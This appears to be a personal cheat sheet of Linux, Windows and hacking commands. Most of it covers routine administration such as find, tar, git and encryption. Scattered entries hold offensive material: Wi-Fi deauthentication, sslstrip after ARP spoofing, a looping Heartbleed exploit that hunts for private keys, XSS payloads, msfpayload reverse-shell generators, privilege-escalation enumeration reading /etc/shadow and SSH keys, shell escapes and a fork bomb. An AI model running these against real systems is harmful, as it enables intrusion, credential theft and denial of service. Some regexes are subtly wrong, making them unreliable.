Linux and Hacking - Common Commands and Memorize-Me's
Wifi Hacking - Capture a Client's Handshake using tools from aircrack-ng
Capturing Traffic - airdump-ng -c $CH --bssid $AP -w file wlan0 Forcing Cliet DeAuth. - aireplay-ng -0 10 -a $AP -c $CH wlan0
Bash - Tips - Insert last parameter
Use ALT+. Example: $ vim some/file.c $ svn commit
Regex - Useful Concoctions that are commonly used
Username - /^[a-z0-9_-]{3,16}$/ Password - /^[a-z0-9_-]{6,18}$/ Hex value - /^[a-z0-9_-]{6,18}$/ E-mail Address - /^([a-z0-9_\.-]+)@([\da-z\.-]+)\.([a-z\.]{2,6})$/ URL - /^(https?:\/\/)?([\da-z\.-]+)\.([a-z\.]{2,6})([\/\w \.-]*)*\/ IP Address - /^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5] HTML Tag - /^<([a-z]+)([^<]+)*(?:>(.*)<\/\1>|\s+\/>)$/
Linux - Bash Commands - Using 'find' - More Useful Commands
Find files by case-insensitive extension (ex: .jpg, .JPG, .jpG): find . -iname "*.jpg" Find directories: find . -type d Find files by octal permission: find . -type f -perm 777 Find files with setuid bit set: find . -xdev \( -perm -4000 \) -type f -print0 | xargs -0 ls -l Find files with extension '.txt' and remove them: find ./path/ -name '*.txt' -exec rm '{}' \; Find files with extension '.txt' and look for a string into them: find ./path/ -name '*.txt' | xargs grep 'string' Find files with size bigger than 5 Mb and sort them by size: find ./ -size +5M -type f -print0 | xargs -0 ls -Ssh Find files bigger thank 2 MB and list them: find / -type f -size +20000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'
Linux - Bash Commands - Using 'find' - Even More Useful Commands
Find files modified more than 7 days ago and list file information find . -type f -mtime +7d -ls Find symlinks owned by a user and list file information find . -type l --user=username -ls Search for and delete empty directories find . -type d -empty -exec rmdir {} \; Search for directories named build at a max depth of 2 directories find . -maxdepth 2 -name build -type d Search all files who are not in .git directory find . ! -iwholename '*.git*' -type f Find all files that have the same node (hard link) as MY_FILE_HERE find / -type f -samefile MY_FILE_HERE 2>/dev/null
Linux - File Commands
Generate MD5SUM: md5sum file Check file against MD5SUM on Linux, assuming both file and .md5 are in the same dir: md5sum -c blah.iso.md5 Find out the type of file on Linux, also displaus if file is 32 or 64 bit: file filename Convert Windows line endings to Unix / Linux dos2unix Creates a new file using the timestamp data from the reference file, drop the -r to simply create a file: touch -r ref-file new-file
Linux - How-To - Create ISO Images from CDs/DVDs
dd if=/dev/cdrw of=$HOME/output_file.iso (Replace /dev/cdrw with your device file.)
Proxychains - Use proxyresolv to resolve target host through chain -
proxyresolv www.website.com
Run SSLStrip after ARP spoof
sslstrip -a -k -f
Fully update all your packages and software, if you're using Aptitude (most Linux distro's) -
sudo apt-get update sudo apt-get upgrade sudo apt-get dist-upgrade
Linu Tips - Create a Bootable USB from an ISO file
sudo dd if=/path/to/image.iso of=/dev/sdX bs=4096k Replace /dev/sdX with your USB device, for example, /dev/sdb.
Linux - Common Files - Part 3
~/.bash_history - Users bash history log. /var/log/httpd/access.log - Apache access log file typical path. (Secondary to /var/log/apache2/access.log ) <more soon>
Which file should be edited to add a perminent alias?(a)
~/.bashrc
Commands - Windows Buffer Overflow - Continued
!mona config -set workingfolder C:\Mona\%p !mona config -get workingfolder !mona mod !mona bytearray -b "\x00\x0a" !mona pc 5000 !mona po EIP !mona suggest *SEH:* !mona suggest !mona nosafeseh nseh="\xeb\x06\x90\x90″ (next seh chain) iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN) *ROP (DEP):* !mona modules !mona ropfunc -m *.dll -cpb "\x00\x09\x0a' !mona rop -m *.dll -cpb "\x00\x09\x0a' (auto suggest) *ASLR:* !mona noaslr *EGG Hunter:* !mona jmp -r esp !mona egg -t lxxl \xeb\xc4 (jump backward -60) buff=lxxllxxl+shell !mona egg -t 'w00t'
Linux - Commands - Some more advanced TAR commands
# Archive directory/ and store remotely - tar c dir/ | gzip | ssh user@remote 'dd of=dir.tgz' # Archive the current directory - tar cvf - `find . -print` > backup.tar # Copy directories - tar -cf - -C /etc . | tar xpf - -C /backup/etc # Remote copy - tar -cf - -C /etc . | ssh user@remote tar xpf - -C /backup/etc
Linux and Unix Tools - Using EMACS - Part 1 - Basic Usage
# Basic usage Indent Select text then press TAB Cut CTRL-w Copy ALT-w Paste CTRL-y Search/Find CTRL-s Replace ALT-% (ALT-SHIFT-5) Save CTRL-x CTRL-s Load/Open CTRL-x CTRL-f Undo CTRL-x u Highlight all text CTRL-x h Directory listing CTRL-x d Cancel a command ESC ESC ESC Font size bigger CTRL-x CTRL-+ Font size smaller CTRL-x CTRL--
Linux - Random Useful Command Line Commands - Part 4
# Changing file extensions - rename 's/.html$/.php/' *.html # change the file extension for a group of files - ls *htm | awk -F. '{print "mv "$0" "$1".php"}' | sh # Add commas to all numeric strings in a file, changing "1234567" to "1,234,567" - sed -e :a -e 's/\(.*[0-9]\)\([0-9]\{3\}\)/\1,\2/;ta' filename # Grepping for processes - ps | grep 'ss[h]' # Empty Trashcan - sudo rm -rf ~/.local/share/Trash/files/* # Empty trashcan # Enter this command and then click on any window to get information about it - xwinifo # find Windows machines - smbtree
Linux - Random Useful Command Line Commands - Part 2
# Check user in passwd - testuser=$(cat /usr/local/etc/apache2/passwd | grep -v \ # bash fork bomb. Will kill your machine - :(){ :|:& };: # remove the first line from file - tail +2 file > file2 # Share current tree over the web via an alias - alias webshare='python -c "import SimpleHTTPServer;SimpleHTTPServer.test()"' # Using expansion to move a file aside without having to type the file name twice - cp ReallyLongFileNameYouDontWantToTypeTwice{,.orig} # Running a second command with the same arguments as the previous command, use '!*' to repeat all arguments or '!:2' to use the second argument. '!$' uses the final argument - $ cd /home/user/foo cd: /home/user/foo: No such file or directory $ mkdir !* mkdir /home/user/foo
Concatenating PDF Files
# Concatenate all pdf files into one: pdftk *.pdf cat output all.pdf # Concatenate specific pdf files into one: pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf # Concatenate pages 1 to 5 of first.pdf with page 3 of second.pdf pdftk A=fist.pdf B=second.pdf cat A1-5 B3 output new.pdf
Linux - Random Useful Command Line Commands - Part 5
# Install Samba and run config file - apt-get install samba smbfs smbclient samba-doc mkdir /public mkdir /public/shared chmod -v 0777 /public chmod -v 0777 /public/shared nano /etc/samba/smb.conf # Re-run a command but after replacing the text abc in the command with xyz. - $ ^abc^xyz # This will list the size of all sub-folders of a directory in KB, MB or GB - du - sh */
Linux - Random Useful Command Line Commands - Part 3
# Make a whole directory tree with one command - mkdir -p tmp/a/b/c # multiple command output into a single program - show you a diff of files in the root of dir_1 and dir_2 - diff -u <(ls -c1 dir_1) <(ls -c1 dir_2) # Simple password generator - < /dev/urandom tr -dc A-Za-z0-9_ | head -c8 # If you want to tail the errors on another terminal, just push them to a fifo - $ mkfifo cmderror $ mycommand 2> cmderror <on other terminal -> $ tail -f cmderror # To delete a file who's file name is a pain to define (eg. ^H^H^H) find it's inode number with the command "ls -il" - find . -inum 12345 | xargs rm # pull an entire directory tree from a remote machine into your current directory - ssh <usrname@sourcehost> tar cf - -C <sourcedir> . | tar xvf -
Linux - Scripts and Snippets - Bash script to change MAC and hostname every reboot
# Original Code By: hppd - http://bit.ly/1xoVFKg # Slightly modified # Generate random number between 1 and 32 # set path RAND_NUM=$(( ( RANDOM % 32 ) + 1 )) PATH = "/set/your/own/path/here" # Bring down the interfaces # May need to change wlan0 to whatever your interface # is echo "[+] Bringing Down wlan0" ifconfig wlan0 down echo "[+] Bringing down eth0" ifconfig eth0 down # Changing MAC address with macchanger echo "[+] Changing the mac address of wlan0" macchanger -a wlan0 echo "[+] Changing the mac address of eth0" macchanger -a eth0 # Bring the interfaces back up echo "[+] Bringing wlan0 back up" ifconfig wlan0 up echo "[+] Bringing eth0 back up" ifconfig eth0 up # Change the hostname HOSTNAME=$(head -n $NUM $PATH |tail -n 1) echo "[+] Changing hostname to : $HOSTNAME" echo $HOSTNAME > /etc/hostname
Linux - Random Useful Command Line Commands - Part 1
# Sort IPv4 ip addresses - sort -t. -k1,1n -k2,2n -k3,3n -k4,4n # Case conversion - echo 'Test' | tr '[:lower:]' '[:upper:]' # Returns foo - echo foo.bar | cut -d . -f 1 # PID of a running script - PID=$(ps | grep script.sh | grep bin | awk '{print $1}') # PID of ping (w/o grep pid) - PID=$(ps axww | grep [p]ing | awk '{print $1}') # Show IP Address - IP=$(ifconfig $INTERFACE | sed '/.*inet addr:/!d;s///;s/ .*//') # File changed? - if [ `diff file1 file2 | wc -l` != 0 ]; then [...] fi # Create http passwd - cat /etc/master.passwd | grep -v root | grep -v \*: | awk -F":" \
Linux - Tools - Screen - Several useful commands
# Start a new named screen session: screen -S session_name # Detach from the current session: Press Ctrl+A then press d # Re-attach a detached session: screen -r session_name # List all screen sessions: screen -ls <more soon>
Linux - Tools - Using 'at' to schedule an action
# To schedule a one time task at {time} {command 0} {command 1} Ctrl-d # {time} can be either now | midnight | noon | teatime (4pm) HH:MM now + N {minutes | hours | days | weeks} MM/DD/YY # To list pending jobs atq # To remove a job (use id from atq) atrm {id}
Linux - Commands - Shredding Files
# To shred a file (5 passes) and verbose output: shred -n 5 -v file.txt # To shred a file (5 passes) and a final overwrite of zeroes: shred -n 5 -vz file.txt # To do the above, and then truncate and rm the file: shred -n 5 -vzu file.txt # To shred a partition: shred -n 5 -vz /dev/sda
Coding - Using Git - Part 3 - As an OS contributor
# clone your own project $ git clone dotfiles → git clone git://github.com/YOUR_USER/dotfiles.git # clone another project $ git clone github/hub → git clone git://github.com/github/hub.git # see the current project's issues $ git browse -- issues → open https://github.com/github/hub/issues # open another project's wiki $ git browse mojombo/jekyll wiki → open https://github.com/mojombo/jekyll/wiki ## Example workflow for contributing to a project: $ git clone github/hub $ cd hub # create a topic branch $ git checkout -b feature → ( making changes ... ) $ git commit -m "done with feature" # It's time to fork the repo! $ git fork → (forking repo on GitHub...) → git remote add YOUR_USER git://github.com/YOUR_USER/hub.git # push the changes to your new remote $ git push YOUR_USER feature # open a pull request for the topic branch you've just pushed $ git pull-request → (opens a text editor for your pull request message)
Coding - Using Git - Part 4 - As Maintainer
# fetch from multiple trusted forks, even if they don't yet exist as remotes $ git fetch mislav,cehoffman → git remote add mislav git://github.com/mislav/hub.git → git remote add cehoffman git://github.com/cehoffman/hub.git → git fetch --multiple mislav cehoffman # check out a pull request for review $ git checkout https://github.com/github/hub/pull/134 → (creates a new branch with the contents of the pull request) # directly apply all commits from a pull request to the current branch $ git am -3 https://github.com/github/hub/pull/134 # cherry-pick a GitHub URL $ git cherry-pick https://github.com/xoebus/hub/commit/177eeb8 → git remote add xoebus git://github.com/xoebus/hub.git → git fetch xoebus → git cherry-pick 177eeb8 # `am` can be better than cherry-pick since it doesn't create a remote $ git am https://github.com/xoebus/hub/commit/177eeb8 # open the GitHub compare view between two releases $ git compare v0.9..v1.0 # put compare URL for a topic branch to clipboard $ git compare -u feature | pbcopy # create a repo for a new project $ git init $ git add . && git commit -m "It begins." $ git create -d "My new thing" → (creates a new project on GitHub with the name of current directory) $ git push origin master
Keybase.io Command-line Commands
# first keybase join # if you're new, or keybase login # if you're not. # then keybase push # if you already have a public key, or keybase gen # if this is all new to you keybase id silo # verify identity proofs keybase encrypt <user> -m 'a secret msg' keybase encrypt <user> -s -m 'a signed secret msg' # optionally track <user> , so you don't # have to keep id'ing them, even when # switching machines keybase track <user> # and psst, people you track are pulled into GPG too gpg --encrypt # etc.
Linux - Shell Script to ban IP addresses
#!/bin/sh # This script bans any IP in the /24 subnet for 192.168.1.0 starting at 2 # It assumes 1 is the router and does not ban IPs .20, .21, .22 i=2 while [ $i -le 253 ] do if [ $i -ne 20 -a $i -ne 21 -a $i -ne 22 ]; then echo "BANNED: arp -s 192.168.1.$i" arp -s 192.168.1.$i 00:00:00:00:00:0a else echo "IP NOT BANNED: arp -s 192.168.1.$i *****************" echo "****************************************************" fi i='expr $i +1' done
Alias - A quick way to get out of current directory(a)
## a quick way to get out of current directory ## alias ..='cd ..' alias ...='cd ../../../' alias ....='cd ../../../../' alias .....='cd ../../../../' alias .4='cd ../../../../' alias .5='cd ../../../../..'
Exploiting Heartbleed
#*! /bin/bash* # *Usage : ./exploit-heartbleed.sh mail.yahoo.com -p 25 -s* smtp # *Usage : ./exploit-heartbleed.sh mail.yahoo.com* # *On the other terminal, run sudo ./ngrep-heartbleed.sh "private key|pass" 443* *while [ 1 ]; do python poc-tls-samiux.py $1 $2 $3 $4 $5 $6; done* (Credit to n1tr0g3n.com)
Connect to a Samba share from Linux
$ smbmount //server/share /mnt/win -o user=username,password=password1 $ smbclient -U user \\\\server\\share $ mount -t cifs -o username=user,password=password //x.x.x.x/share /mnt/share
Bash - Useful Keyboard Shortcuts - Part 1
* (Ctrl+A) - move cursor to the start of the line * (Ctrl+E) - move cursor to the end of the line * (Ctrl+U) delete all text to the left of the cursor * (Ctrl+K) delete all text to the right of the cursor * (Ctrl+L) clear the terminal * Tab - command or filename completion
Several input commands to test for XXS vulnerability Here is a calculator that will encode the entire string- - http://ha.ckers.org/xsscalc.html A Hex to Octal translator - - https://hackvertor.co.uk/public
* - <SCRIPT>alert('XSS');</SCRIPT> * - '';!--"<XSS>=&{()} - (View source after injecting and look for <XSS verses <XSS) - * - <SCRIPT SRC=http://targetsite.com/xss.js></SCRIPT> * Image XSS - <IMG SRC="javascript:alert('XSS');"> or - <IMG SRC=javascript:alert('XSS')> * - Grave accent obfuscation - <IMG SRC=`javascript:alert("Testing, 'XSS'")`>
Bash - More helpful commands -
* Change character case - echo 'Test' | tr '[:lower:]' '[:upper:]' * Remove the first line of a file - tail +2 file > file2 * Show full path name of command which command * See how long a command takes to execute time command * Search path and standard directories for word whereis example * list one file per line ls -1 * Display the last 50 used commands history | tail -50
Linux - Commands - Converting Files and Media
* Convert from one type of character encoding to an other: iconv -f <from_encoding> -t <to_encoding> <input_file> *Example: iconv -f ISO8859-1 -t UTF-8 -o file.input > file_utf8 *List known coded character sets: iconv -l Convert file names from one encoding to another(notfilecontent). Works also if only some files are already utf8# convmv -r -f utf8 --nfd -t utf8 --nfc /dir/* --notest Convert DOS(CR/LF) toUnix (LF)newlines and back - * sed 's/.$//' dosfile.txt > unixfile.txt# DOS to UNIX# awk * '{sub(/\r$/,"");print}' dosfile.txt > unixfile.txt# DOS to UNIX# awk *'{sub(/$/,"\r");print}' unixfile.txt > dosfile.txt# UNIX to DOS <more soon>
Local Linux Enumeration & Privilege Escalation Part 3 - User & Privilege Information
* Current username: whoami * Current user information: id * Who's allowed to do what as root - Privileged command: cat /etc/sudoers * Can the current user perform anything as root: sudo -l sudo -l 2>/dev/null | grep -w * Can the current user run any 'interesting' binaries as root and if so also display the binary permissions etc.: 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\ |'more'\|'less'\|'vi'\|'vim'\|'nc'\|'netcat'\|python\ |ruby\|lua\|irb' | xargs -r ls -la 2>/dev/null
Local Linux Enumeration & Privilege Escalation Part 4 - Environmental Information
* Display environmental variables: env or: set * Path information: echo $PATH * Displays command history of current user: history * Print working directory, i.e. 'where am I': pwd * Display default system variables: cat /etc/profile * Display available shells: cat /etc/shells
Local Linux Enumeration & Privilege Escalation Part 7 -Jobs/Tasks
* Display scheduled jobs for the specified user - Privileged command: crontab -l -u %username% * Scheduled jobs overview (hourly, daily, monthly etc): ls -la /etc/cron* * What can 'others' write in /etc/cron* directories: ls -aRl /etc/cron* | awk '$1 ~ /w.$/' 2>/dev/null * List of current tasks: top
SSH Commands Reference - Cheatsheet Part 2 - File Editing
* Edit the index page for the user's website. With Pico - pico /home/burst/public_html/index.html : With Vi - vi /home/burst/public_html/index.html * grep : looks for patterns in files * grep root /etc/passwd : shows all matches of root in /etc/passwd * grep -v root /etc/passwd : shows all lines that do not match root * touch : create an empty file * touch /home/burst/public_html/404.html : create an empty file called 404.html in the directory /home/burst/public_html/ * rm : delete a file * rm filename.txt : deletes filename.txt, will more than likely ask if you really want to delete it * rm -f filename.txt : deletes filename.txt, will not ask for confirmation before deleting. * rm -rf tmp/ : recursively deletes the directory tmp, and all files in it, including subdirectories. * cp : copy a file * cp sample sample.backup : copies sample to sample.backup * cp -a /home/backup/* /home/public_html/ : copies all files ∓ permissions to another directory. * find * -type d|xargs -i cp --verbose php.ini {} : copies php.ini into all directories recursively. * wc : word count * wc -l filename.txt : tells how many lines are in filename.txt * last : shows who logged in and when * last -20 : shows only the last 20 logins * last -20 -a : shows last 20 logins, with the hostname in the last field * ln : create's "links" between files and directories * ln -s /home/username/tmp/webalizer webstats : Now you can display http://www.yourdomain.com/webstats to show your webalizer stats online.
Linux - Processes - Getting More out of 'ps'
* Extensive list of all running process: ps -auxefw * All processes in a tree format (Linux): ps axjf * Find all ssh pids without the grep pid: ps aux | grep 'ss[h]' * Find the PIDs of processes by (part of) name: pgrep -l sshd * The PID of your shell: echo $$ * List processes using port 22 (Linux): fuser -va 22/tcp * Memory map of process (hunt memory leaks) (Linux): pmap PID * List processes accessing the /home partition: fuser -va /home * Trace system calls and signals: strace df * same as above: truss df
Local Linux Enumeration & Privilege Escalation Part 5 - Interesting Files
* Find SUID files: find / -perm -4000 -type f 2>/dev/null * Find SUID files owned by root: find / -uid 0 -perm -4000 -type f 2>/dev/null * Find GUID files: find / -perm -2000 -type f 2>/dev/null * Find world-writeable files: find / -perm -2 -type f 2>/dev/null * Find world-writeable files excluding those in /proc: find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null * Find word-writeable directories: find / -perm -2 -type d 2>/dev/null * Find rhost config files: find /home -name *.rhosts -print 2>/dev/null * Find *.plan files, list permissions and cat the file contents: find /home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \; * Find hosts.equiv, list permissions and cat the file contents: find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \; * See if you can access other user directories to find interesting files: ls -ahlR /root/ * Show the current users' command history: cat ~/.bash_history * Show the current users' various history files: ls -la ~/.*_history * Can we read root's history files: ls -la /root/.*_history * Check for interesting ssh files in the current users' directory: ls -la ~/.ssh/ * Find SSH keys/host information: find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls -la * Check Configuration of inetd services: ls -la /usr/sbin/in.* * Check log files for keywords ('pass' in this example) and show positive matches: grep -l -i pass /var/log/*.log 2>/dev/null * List files in specified directory (/var/log): find /var/log -type f -exec ls -la {} \; 2>/dev/null * List .log files in specified directory (/var/log): find /var/log -name *.log -type f -exec ls -la {} \; 2>/dev/null * List .conf files in /etc (recursive 1 level): find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} \; 2>/dev/null Or: ls -la /etc/*.conf * Find .conf files (recursive 4 levels) and output line number where the word 'password' is located: find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} \; 2>/dev/null * List open files (output will depend on account privileges): lsof -i -n * Can we read roots mail: head /var/mail/root
Local Linux Enumeration & Privilege Escalation Part 9 - Programs Installed
* Installed packages (Debian): dpkg -l * Installed packages (Red Hat): rpm -qa * Sudo version - does an exploit exist?: sudo -V * Apache version: httpd -v Or: apache2 -v * List loaded Apache modules: apache2ctl (or apachectl) -M * Installed MYSQL version details: mysql --version * Installed Postgres version details: psql -V * Perl version details: perl -v Installed * Java version details: java -version Installed * Python version details: python --version Installed * Ruby version details: ruby -v Installed * Locate 'useful' programs (netcat, wget etc): find / -name %program_name% 2>/dev/null (i.e. nc, netcat, wget, nmap etc) * As above: which %program_name% (i.e. nc, netcat, wget, nmap etc) * List available compilers: dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null * Which account is Apache running as: cat /etc/apache2/envvars 2>/dev/null |grep -i 'user\|group' |awk '{sub(/.*\export /,"")}1'
Examples of Host Discovery tools, for layer 2, 3 and 4 discovery.
* Layer 2 discovery - * Scapy * ARPing * NMap * NetDiscover * Metasploit * Layer 3 discovery - * NMap * fping * hping3 * Layer 4 discovery - * Scapy * NMap * hping3
Local Linux Enumeration & Privilege Escalation Part 8 - Networking, Routing & Communications
* List all network interfaces: /sbin/ifconfig -a * As above: cat /etc/network/interfaces * Display ARP communications: arp -a * Display route information: route * Show configured DNS sever addresses: cat /etc/resolv.conf * List all TCP sockets and related PIDs (-p Privileged command): netstat -antp *List all UDP sockets and related PIDs (-p Privileged command): netstat -anup * List rules - Privileged command: iptables -L * View port numbers/services mappings: cat /etc/services
Local Linux Enumeration & Privilege Escalation Part 2 - Users & Groups
* List all users on the system: cat /etc/passwd * List all groups on the system: cat /etc/group * List all uid's and respective group memberships: for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null * Show user hashes - Privileged command: cat /etc/shadow * List all super user accounts: grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' * Users currently logged in: finger or: pinky or: users or: who -a * Who is currently logged in and what they're doing: w * Listing of last logged on users: last * Information on when all users last logged in: lastlog * Information on when the specified user last logged in: lastlog -u %username% * Entire list of previously logged on users: lastlog |grep -v "Never"
Local Linux Enumeration & Privilege Escalation Part 1 - Kernel, Operating System & Device Information
* Print all available system information: uname -a * Kernel Release: uname -r *Hostname: uname -n * Linux kernel architecture (32 or 64 bit): uname -m * Kernel information: cat /proc/version * Distribution information: cat /etc/*-release * CPU information: cat /proc/cpuinfo * File system information: df -a
SSH Commands Reference - Cheatsheet Part 3 - Permissions and Ownership
* chmod: changes file access permissions (USER - GROUP - EVERYONE) 0 = — No permission 1 = -X Execute only 2 = -W- Write only 3 = -WX Write and execute 4 = R- Read only 5 = R-X Read and execute 6 = RW- Read and write 7 = RWX Read, write and execute * chmod 000 : No one can access * chmod 644 : Usually for files, such as HTML, PHP * chmod 755 : Usually for Directories and CGI scripts * chown : changes file ownership permissions (USER - GROUP) * chown root myfile.txt : Changes the owner of the file to root * chown root.root myfile.txt : Changes the owner and group of the file to root
Check your EXTERNAL IP address from Bash - several ways.
* curl ipecho.net/plain * curl ifconfig.me * curl ip.appspot.com
SSH Commands Reference - Cheatsheet Part 1 - Basic Commands - (From Mass Mediums - http://goo.gl/ZQW2H9)
* ls: list files/directories in a directory. * ls -al : shows all files including hidden files, directories and details for each file. * cd : change directory * cd /path/to/directory : go to /path/to/directory * cd ~ : go to your home directory * cd - : go to the last directory you were in * cd .. : go up a directory * cat : print file contents to the screen * cat filename.txt : cat the contents of filename.txt to your screen * tail : like cat, but only reads the end of the file * tail /var/log/messages : see the last 20 (by default) lines of /var/log/messages * tail -f /var/log/messages : watch the file continuously, while it's being updated * tail -200 /var/log/messages : print the last 200 lines of the file to the screen * more : like cat, but opens the file one screen at a time rather than all at once * more /etc/userdomains : browse through the userdomains file.
Tips - SSH - Set up a SOCKS proxy on 127.0.0.1:1080 that lets you pivot through the remote host (10.0.0.1)
* ssh -D 127.0.0.1:1080 10.0.0.1 * in ~/.ssh/config, add: Host 10.0.0.1 DynamicForward 127.0.0.1:1080 * You can then use tsocks or similar to use non-SOCKS-aware tools on hosts accessible from 10.0.0.1: tsocks rdesktop 10.0.0.2
Local Linux Enumeration & Privilege Escalation Part 10 - Common Shell Escape Sequences
* vi, vim: :!bash * vi, vim: :set shell=/bin/bash:shell * man, more, less: !bash * find: find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \; * awk: awk 'BEGIN {system("/bin/bash")}' * nmap: --interactive * perl: perl -e 'exec "/bin/bash";'
SSH Commands Reference - Cheatsheet Part 4 - Server Utilities
* w : shows who is currently logged in and where they are logged in from. * netstat : shows all current network connections. * netstat -an : shows all connections to the server, the source and * destination ips and ports. * netstat -rn : shows routing table for all ips bound to the server. * top : shows live system processes in a nice table, memory information, uptime and other useful info. * top Shift + M : sort by memory usage * top Shift + P : sort by CPU usage * ps : ps is short for process status. It's used to show currently running processes and their PID. * ps U username : shows processes for a certain user * ps aux : shows all system processes * ps aux --forest : shows all system processes but organizes into a very useful hierarchy * file : attempts to guess what type of file a file is by looking at it's content. * file * : prints out a list of all files/directories in a directory * du : shows disk usage. * du -sh : shows readable summary of total disk space used in current directory, including subdirectories. * du -sh * : same thing, but for each file and directory. helpful when finding large files taking up space. * kill : terminate a system process * kill -9 PID EG : kill -9 431 * kill PID EG : kill 10550
***** DUPLICATE - MAKE NEW
***** DUPLICATE - MAKE NEW
Useful WMIC Commands (Windows)
*C:\> wmic process [pid] delete* That's the rough equivalent (for you UNIX/Linux minded folks) of "kill -9 [pid]". - or - *C:\> wmic process where name='cmd.exe' delete* *C:\> wmic process list brief /every:1* Similar to the Linux 'Top' command. The /every:1 updates the output every second *C:\> wmic useraccount* More detail than the old "net user" command. User names, SIDs, and various security settings. *C:\> wmic qfe* Shows all hotfixes and service packs *C:\> wmic /?* For a list of some of the items WMIC can touch *C:\> wmic startup list full* Shows a whole bunch of stuff useful in malware analysis, including all files loaded at Startup and the reg keys associated with autostart. *C:\> wmic process list brief | find "cmd.exe"* That works a little like a Linux "ps -aux | grep cmd.exe". *C:\> wmic [stuff to do] /format /?* For a list of format types supported by WMIC As in: *C:\> wmic process list /format /?* *C:\> wmic /output:c:\temp.html os get name,version /format:htable.xsl* pull lists of attributes and output them nicely *C:\> wmic nicconfig where IPEnabled='true'* network interface configuration options afforded by WMIC *C:\> wmic nicconfig where Index=1 call EnableStatic ("10.10.10.10"), ("255.255.255.0")* Change the IP address at the command line *C:\> wmic nicconfig where Index=1 call EnableDHCP* For DHCP. Where the index is the number of the interface you get from that first nicconfig command
Windows - Useful Commands- Part 1
*Command Control and Redirection* - *command1 & command2* - Run command1 and then command2 *command1 && command2* - Run command1 only if command2 runs successfully *command1 || command2* - Execute command1 only when command2 does NOT run successfully *command > "output.txt"* - Redirect output from command to the file "output.txt". Create this file if it does not exist. *command >> "output.txt"* - Concatenate output from command onto the end of file "output.txt" *command1 | command2* - Pipe the output of command1 into command2 You can direct the errors from a command using *2> errors.txt*
Linux - Tools - ncat - More Useful Commands
*Connect mode (ncat is client) | default port is 31337* ncat <host> [<port>] *Listen mode (ncat is server) | default port is 31337* ncat -l [<host>] [<port>] *Transfer file (closes after one transfer)* ncat -l [<host>] [<port>] < file *Transfer file (stays open for multiple transfers)* ncat -l --keep-open [<host>] [<port>] < file *Receive file ncat [<host>] [<port>] > file* *Brokering | allows for multiple clients to connect* ncat -l --broker [<host>] [<port>] *Listen with SSL | many options, use ncat --help for full list* ncat -l --ssl [<host>] [<port>] *Access control* ncat -l --allow <ip> ncat -l --deny <ip> *Proxying* ncat --proxy <proxyhost>[:<proxyport>] --proxy-type {http | socks4} <host>[<port>] *Chat server | can use brokering for multi-user chat* ncat -l --chat [<host>] [<port>]
Reverse Shells - Commands and Tools
*Create a Linux Reverse Meterpreter Binary* msfpayload linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> R | msfencode -t elf -o shell *Create Reverse Shell (Shellcode)* msfpayload windows/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> R | msfencode -b "\x00\x0a\x0d" *Create a Reverse Shell Python Script* msfpayload cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> R > shell.py *Create a Reverse ASP Shell* msfpayload windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> R | msfencode -t asp -o shell.asp *Create a Reverse Bash Shell* msfpayload cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> R > shell.sh *Create a Reverse PHP Shell* msfpayload php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> R > shell.php Edit shell.php in a text editor to add <?php at the beginning. *Create a Windows Reverse Meterpreter Binary* msfpayload windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> X >shell.exe
Bash - Selected Bash Keystrokes
*Ctrl-U* - Cuts everything to the left *Ctrl-W* - Cuts the word to the left *Ctrl-Y* - Pastes what's in the buffer *Ctrl-A* - Go to beginning of line *Ctrl-E* - Go to end of line
Tools - Common Scans, using familiar tools [more soon on each]
*Dirb Directory Bruteforce:* dirb http://IP:PORT dirbuster-ng-master/wordlists/common.txt HTTP Enumeration with httprint: httprint -h http://www.example.com -s signatures.txt SKIP Fish Scanner: skipfish -m 5 -LVY -W /usr/share/skipfish/dictionaries/complete.wl -u http://IP *Uniscan Scanning:* uniscan -u http://www.hubbardbrook.org -qweds Here, *-q* - Enable Directory checks *-w* - Enable File Checks *-e* - Enable robots.txt and sitemap.xml check *-d* - Enable Dynamic checks *-s* - Enable Static checks
Encryption: GPG encryption without keys
*Encrypt file with password*: # gpg -c file # Decrypt file (optionally -o otherfile): # gpg file.gpg
Encryption: Encrypt and decrypt a single file using OpenSSL
*Encrypt* - openssl aes-128-cbc -salt -in file -out file.aes *Decrypt* - openssl aes-128-cbc -d -salt -in file.aes -out file
Encryption: tar zip and encrypt a whole directory - Use -k mysecretpassword after aes-128-cbc to avoid the interactive password request. However note that this is highly insecure. Use aes-256-cbc instead of aes-128-cbc to get even stronger encryption. This uses also more CPU.
*Encrypt*: tar -zcf - directory | openssl aes-128-cbc -salt -out directory.tar.gz.aes *Decrypt*: openssl aes-128-cbc -d -salt -in directory.tar.gz.aes | tar -xz -f -
More Random Commands - Sort
